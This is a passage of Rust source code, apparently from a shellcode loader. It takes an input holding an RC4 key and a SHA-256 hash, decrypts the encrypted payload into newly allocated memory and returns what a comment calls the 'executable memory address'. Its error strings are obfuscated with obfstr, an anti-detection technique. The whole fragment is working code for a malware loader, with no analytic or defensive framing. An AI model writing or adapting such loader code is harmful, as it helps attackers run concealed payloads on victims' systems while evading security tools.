| 2 | use obfstr::obfstr; |
| 3 | |
| 4 | pub unsafe fn decrypt(decoded: &[u8]) -> Result<(usize, usize), String> { |
| 5 | use rc4::{Rc4, StreamCipher, KeyInit}; |
| 6 | use generic_array::{GenericArray, typenum::U32}; |
| 7 | use sha2::{Sha256, Digest}; |
| 8 | let key_len = 32; |
| 9 | let hash_len = 32; |
| 10 | if decoded.len() < key_len + hash_len + 1 { |
| 11 | return Err(obfstr!("rc4 payload too short").to_string()); |
| 12 | } |
| 13 | let key = &decoded[0..key_len]; |
| 14 | let hash = &decoded[key_len..key_len + hash_len]; |
| 15 | let encrypted = &decoded[key_len + hash_len..]; |
| 16 | let p = unsafe { alloc_mem(encrypted.len())? }; |
| 17 | std::ptr::copy_nonoverlapping(encrypted.as_ptr(), p, encrypted.len()); |
| 18 | let buf = std::slice::from_raw_parts_mut(p, encrypted.len()); |
| 19 | let key_array: &GenericArray<u8, U32> = GenericArray::from_slice(key); |
| 20 | let mut cipher = Rc4::new(key_array); |
| 21 | cipher.apply_keystream(buf); |
| 22 | let mut hasher = Sha256::new(); |
| 23 | hasher.update(buf); |
| 24 | let calc_hash = hasher.finalize(); |
| 25 | if hash != calc_hash.as_slice() { |
| 26 | return Err(obfstr!("rc4 hash mismatch").to_string()); |
| 27 | } |
| 28 | Ok((p as usize, encrypted.len())) // Return executable memory address |
| 29 | } |